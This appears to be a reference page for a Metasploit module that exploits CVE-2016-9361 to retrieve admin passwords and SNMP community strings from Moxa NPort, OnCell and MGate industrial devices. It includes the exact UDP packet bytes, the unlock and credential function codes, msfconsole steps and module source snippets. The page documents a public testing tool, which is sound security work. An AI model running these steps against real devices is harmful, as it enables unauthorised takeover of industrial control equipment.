Moxa Device Credential Retrieval - Metasploit


This page contains detailed information about how to use the auxiliary/admin/scada/moxa_credentials_recovery metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Moxa Device Credential Retrieval
Module: auxiliary/admin/scada/moxa_credentials_recovery
Source code: modules/auxiliary/admin/scada/moxa_credentials_recovery.rb
Disclosure date: 2015-07-28
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 4800
List of CVEs: CVE-2016-9361

The Moxa protocol listens on 4800/UDP and will respond to broadcast or direct traffic. The service is known to be used on Moxa devices in the NPort, OnCell, and MGate product lines. Many devices with firmware versions older than 2017 or late 2016 allow admin credentials and SNMP read and read/write community strings to be retrieved without authentication. This module is the work of Patrick DeSantis of Cisco Talos and K. Reid Wightman. Tested on: Moxa NPort 6250 firmware v1.13, MGate MB3170 firmware 2.5, and NPort 5110 firmware 2.6.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use auxiliary/admin/scada/moxa_credentials_recovery
msf auxiliary(moxa_credentials_recovery) > show targets
    ... a list of targets ...
msf auxiliary(moxa_credentials_recovery) > set TARGET target-id
msf auxiliary(moxa_credentials_recovery) > show options
    ... show and set options ...
msf auxiliary(moxa_credentials_recovery) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Vulnerable Application


Many Moxa devices make use of a protocol that is vulnerable to unauthenticated credential retrieval via exploitation of CVE-2016-9361. The service is known to be used on Moxa devices in the NPort, OnCell, and MGate product lines.

This module leverages CVE-2016-9361 to retrieve admin passwords and SNMP community strings, as well as enumerate all possible function codes. The supporting research and Metasploit module are the work of Patrick DeSantis of Cisco Talos and K. Reid Wightman.

The module has been tested on Moxa NPort 6250 firmware v1.13, MGate MB3170 firmware v2.5, and NPort 5110 firmware v2.6.

The Moxa Protocol

The Moxa protocol listens on 4800/UDP and will respond to broadcast or direct traffic. The protocol is utilized by devices in several product lines and Moxa applications in order to manage and configure network-deployed devices.

Discovery / Identify


A discovery packet compels a Moxa device to respond to the sender with some basic device information that is needed for more advanced functions. The discovery data is 8 bytes in length and is the most basic example of the Moxa protocol. It may be sent out as a broadcast (destination 255.255.255.255) or to an individual device.

The discovery request contains the bytes: \x01\x00\x00\x08\x00\x00\x00\x00 Where the function code (first byte) 0x01 is Moxa discovery/identify and the fourth byte is the length of the full data payload.

Discovery Response


A valid response is 24 bytes, starts with 0x81, and contains the values 0x00, 0x90, 0xe8 (the Moxa OIU) in bytes 14, 15, and 16.

A response with a value of 0x04 for the second byte indicates that an invalid function code was used in the corresponding request.

The response can be broken down as follows:

  • Byte 0x0 identifies the packet as a response to the request. The first byte of a response will always be the FC + 0x80 (the most significant bit of the byte is set to 1, so 0b00000001 becomes 0b10000001, or 0x81 as response to identify 0x01).
  • Bytes 0x1-0x2 are unknown, may be padding
  • Byte 0x3 is the length of the datagram payload
  • Bytes 0x4-0x7 are unknown, may be padding
  • Bytes 0x8-0x9 may be the product line in little endian. For example, an NPort 6250 is part of the 6000 line, so bytes 8 and 9 will be 0x00 and 0x60 respectively.
  • Bytes 0xA-0xB are unknown but always seem to be 0x00 and 0x80 respectively.
  • Bytes 0xC-0xD are the model number in little endian, so the NPort 6250 is 0x50 and 0x62 respectively.
  • Bytes 0xE-0x13 are the MAC address of the device
  • Bytes 0x14-0x17 are the IP address

Here's a sample response from an NPort 6250 with the default IP address of 192.168.127.254 and a MAC of 00:90:e8:15:1c:22:
0000 81 00 00 18 00 00 00 00 00 60 00 80 50 62 00 90 0010 e8 15 1c 22 c0 a8 7f fe

Model: 0x50 0x60 = 6250 MAC: 00:90:e8:15:1c:22 IP: c0:a8:7f:fe = 192.168.127.254

Other Functions


The values from the response are then used to craft a new request with the below format:

  • Byte 0x0 is the function code
  • Bytes 0x1-0x2 are unknown, may be padding
  • Byte 0x3 is the length of the datagram payload
  • Bytes 0x4-0x7 are unknown, may be padding
  • Bytes 0x8-0x9 are the product line in little endian
  • Bytes 0xA-0xB are the unknown 0x00 0x80
  • Bytes 0xC-0xD is the model number in big endian
  • Bytes 0xE-0x13 is the MAC

The module takes a valid response from discovery/ident and parses out the appropriate bytes to use as a "tail" which is appended to all subsequent requests. tail = response[8..24] The tail is then used as shown below: datagram = fc[func] + "\x00\x00\x14\x00\x00\x00\x00" + tail For all function codes other than identify (0x01), as long as the "tail" values in the request match those of the target, the device will execute the function defined by the value in byte 0x0.

Other Known and Suspected Function Codes


Function codes fall in the range of 0x01 to 0x7F.

The below function codes are included in the module, even if unused. The intent is that the user may modify the module as needed to make use of other function codes. 'ident' => "\x01", # identify device 'name' => "\x10", # get the "server name" of the device 'netstat' => "\x14", # network activity of the device 'unlock1' => "\x16", # "unlock" some devices, including 5110, MGate 'date_time' => "\x1a", # get the device date and time 'time_server' => "\x1b", # get the time server of device 'unlock2' => "\x1e", # "unlock" 6xxx series devices 'snmp_read' => "\x28", # snmp community strings 'pass' => "\x29", # admin password of some devices 'all_creds' => "\x2c", # snmp comm strings and admin password of 6xxx

Verification Steps


  1. Start msfconsole
  2. Do: use auxiliary/admin/scada/moxa_credentials_recovery
  3. Do: set RHOST <target IP>
  4. Do: run
  5. Any found credentials will be stored in loot (set VERBOSE to TRUE to have credentials output to console)

Options


RHOST

Target device.

FUNCTION

Either CREDS (default) or ENUM: * CREDS attempts to retrieve administrative password and SNMP community strings * ENUM will enumerate all function codes in the range 0x2..0x7F

Scenarios


Check

The module implements a check function to determine if a target "speaks" the Moxa protocol. It does this using the 0x01 function code and checking for a valid response of 24 bytes, starting with 0x81, and containing the values 0x00, 0x90, 0xe8 (the Moxa OIU) in bytes 14, 15, and 16. if response[0] == "\x81" && response[14..16] == "\x00\x90\xe8" && response.length == 24

Output Hexdump to Console

To output hexdump responses to console: msf > use auxiliary/admin/scada/moxa_credentials_recovery msf auxiliary(moxa_credentials_recovery) > set RHOST <target IP> msf auxiliary(moxa_credentials_recovery) > set VERBOSE TRUE msf auxiliary(moxa_credentials_recovery) > run Sample verbose output: `` ... SNIP... [*] Response: 90 00 00 3c 00 00 00 00 00 60 00 80 50 62 00 90 |...<.......Pb..| e8 15 1c 22 4e 50 36 32 35 30 5f 35 38 39 36 00 |..."NP6250_5896.| 10 00 11 00 12 00 13 00 14 00 15 00 16 00 17 00 |................| 18 00 19 00 1a 00 1b 00 1c 00 1d 00 |............| ... SNIP ...

[] snmp community retrieved: public_admin [] snmp read/write community retrieved: private_admin [*] password retrieved: secretpassword ... SNIP ...

Enumerate All Function Codes

To enumerate ALL function codes :

  msf > use auxiliary/admin/scada/moxa_credentials_recovery
  msf auxiliary(moxa_credentials_recovery) > set RHOST 
  msf auxiliary(moxa_credentials_recovery) > set FUNCTION ENUM
  msf auxiliary(moxa_credentials_recovery) > run

Sample ENUM output:
... SNIP... [*] Function Code: 14 |.|

[*] Response: 94 00 01 08 00 00 00 00 00 60 00 80 50 62 00 90 |.........`..Pb..| e8 15 1c 22 0f 00 00 00 00 00 00 00 00 00 00 00 |..."............| 00 00 00 00 00 00 00 00 00 00 00 00 c0 a8 7f fe |................| 00 00 c0 12 00 00 ff 00 00 00 00 00 00 00 00 00 |................| 00 00 a1 00 00 00 00 00 00 00 00 00 c0 a8 7f fe |................| 00 00 89 00 00 00 00 00 00 00 00 00 c0 a8 7f fe |................| 00 00 24 13 01 01 ff 00 00 00 00 00 00 00 00 00 |..$.............| 00 00 b5 03 00 00 00 00 00 00 00 00 c0 a8 7f fe |................| 00 00 34 3a 01 01 00 00 00 00 00 00 c0 a8 7f fe |..4:............| 00 00 17 00 01 01 00 00 00 00 00 00 c0 a8 7f fe |................|
... SNIP ...

  Note that the above response is an example of the utility of using ENUM.  This function code (0x14) returns a netstat-type response.  Output similar to the above will be displayed for every function code that does not return 'invalid' (0x4).  This may also be useful for devices that do not "unlock" using the function codes supplied in this module; by running through all function codes in sequence, it is likely that an alternate "unlock" function will be sent prior to any function codes that request credentials.

  NOTE: As the protocol is undocumented and the purpose of a majority of the function codes are unknown, undesired results are possible.  Do NOT use on devices which are mission-critical!

Go back to menu.

Msfconsole Usage


Here is how the admin/scada/moxa_credentials_recovery auxiliary module looks in the msfconsole:

msf6 > use auxiliary/admin/scada/moxa_credentials_recovery

msf6 auxiliary(admin/scada/moxa_credentials_recovery) > show info

       Name: Moxa Device Credential Retrieval
     Module: auxiliary/admin/scada/moxa_credentials_recovery
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2015-07-28

Provided by:
  Patrick DeSantis <[email protected]>
  K. Reid Wightman <[email protected]>

Check supported:
  Yes

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  FUNCTION  CREDS            yes       Pull credentials or enumerate all function codes (Accepted: CREDS, ENUM)
  RHOSTS                     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT     4800             yes       The target port (UDP)

Description:
  The Moxa protocol listens on 4800/UDP and will respond to broadcast 
  or direct traffic. The service is known to be used on Moxa devices 
  in the NPort, OnCell, and MGate product lines. Many devices with 
  firmware versions older than 2017 or late 2016 allow admin 
  credentials and SNMP read and read/write community strings to be 
  retrieved without authentication. This module is the work of Patrick 
  DeSantis of Cisco Talos and K. Reid Wightman. Tested on: Moxa NPort 
  6250 firmware v1.13, MGate MB3170 firmware 2.5, and NPort 5110 
  firmware 2.6.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2016-9361
  http://www.securityfocus.com/bid/85965
  https://www.digitalbond.com/blog/2016/10/25/serial-killers/
  https://github.com/reidmefirst/MoxaPass/blob/master/moxa_getpass.py
  https://ics-cert.us-cert.gov/advisories/ICSA-16-336-02

Module Options


This is a complete list of options available in the admin/scada/moxa_credentials_recovery auxiliary module:

msf6 auxiliary(admin/scada/moxa_credentials_recovery) > show options

Module options (auxiliary/admin/scada/moxa_credentials_recovery):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   FUNCTION  CREDS            yes       Pull credentials or enumerate all function codes (Accepted: CREDS, ENUM)
   RHOSTS                     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT     4800             yes       The target port (UDP)

Advanced Options


Here is a complete list of advanced options supported by the admin/scada/moxa_credentials_recovery auxiliary module:

msf6 auxiliary(admin/scada/moxa_credentials_recovery) > show advanced

Module advanced options (auxiliary/admin/scada/moxa_credentials_recovery):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   CHOST                       no        The local client address
   CPORT                       no        The local client port
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the admin/scada/moxa_credentials_recovery module can do:

msf6 auxiliary(admin/scada/moxa_credentials_recovery) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the admin/scada/moxa_credentials_recovery auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(admin/scada/moxa_credentials_recovery) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

get_pass failed: response not long enough


Here is a relevant code snippet related to the "get_pass failed: response not long enough" error message:

131:	  end
132:	
133:	  # helper function for extracting password from 0x29 FC response
134:	  def get_pass(response)
135:	    if response.length() < 200
136:	      print_error("get_pass failed: response not long enough")
137:	      return
138:	    end
139:	    pass = get_string(response[200..-1])
140:	    print_good("password retrieved: #{pass}")
141:	    store_loot("moxa.get_pass.admin_pass", "text/plain", rhost, pass)

get_snmp_read failed: response not long enough


Here is a relevant code snippet related to the "get_snmp_read failed: response not long enough" error message:

143:	  end
144:	
145:	  # helper function for extracting snmp community from 0x28 FC response
146:	  def get_snmp_read(response)
147:	    if response.length() < 24
148:	      print_error("get_snmp_read failed: response not long enough")
149:	      return
150:	    end
151:	    snmp_string = get_string(response[24..-1])
152:	    print_good("snmp community retrieved: #{snmp_string}")
153:	    store_loot("moxa.get_pass.snmp_read", "text/plain", rhost, snmp_string)

get_snmp_write failed: response not long enough


Here is a relevant code snippet related to the "get_snmp_write failed: response not long enough" error message:

154:	  end
155:	
156:	  # helper function for extracting snmp community from 0x2C FC response
157:	  def get_snmp_write(response)
158:	    if response.length() < 64
159:	      print_error("get_snmp_write failed: response not long enough")
160:	      return
161:	    end
162:	    snmp_string = get_string(response[64..-1])
163:	    print_good("snmp read/write community retrieved: #{snmp_string}")
164:	    store_loot("moxa.get_pass.snmp_write", "text/plain", rhost, snmp_string)

get_creds failed: response not long enough. Will fall back to other functions


Here is a relevant code snippet related to the "get_creds failed: response not long enough. Will fall back to other functions" error message:

167:	  # helper function for extracting snmp and pass from 0x2C FC response
168:	  # Note that 0x2C response is basically 0x28 and 0x29 mashed together
169:	  def get_creds(response)
170:	    if response.length() < 200
171:	      # attempt failed. device may not be unlocked
172:	      print_error("get_creds failed: response not long enough. Will fall back to other functions")
173:	      return -1
174:	    end
175:	    get_snmp_read(response)
176:	    get_snmp_write(response)
177:	    get_pass(response)

Unknown response


Here is a relevant code snippet related to the "Unknown response" error message:

213:	      if response[0] == "\x81" && response[14..16] == "\x00\x90\xe8" && response.length == 24
214:	        format_output(response)
215:	        return Exploit::CheckCode::Appears
216:	      end
217:	    else
218:	      vprint_error("Unknown response")
219:	      return Exploit::CheckCode::Unknown
220:	    end
221:	    cleanup
222:	
223:	    Exploit::CheckCode::Safe

Aborted because the target does not seem vulnerable.


Here is a relevant code snippet related to the "Aborted because the target does not seem vulnerable." error message:

223:	    Exploit::CheckCode::Safe
224:	  end
225:	
226:	  def run
227:	    unless check == Exploit::CheckCode::Appears
228:	      print_error("Aborted because the target does not seem vulnerable.")
229:	      return
230:	    end
231:	
232:	    function = datastore["FUNCTION"]
233:	

Invalid FUNCTION


Here is a relevant code snippet related to the "Invalid FUNCTION" error message:

251:	      send_datagram('snmp_read', tail)
252:	      send_datagram('pass', tail)
253:	    elsif function == "ENUM"
254:	      send_datagram('enum', tail)
255:	    else
256:	      print_error("Invalid FUNCTION")
257:	    end
258:	
259:	    disconnect_udp
260:	  end
261:	end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Patrick DeSantis <p[at]t-r10t.com>
  • K. Reid Wightman <reid[at]revics-security.com>

Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.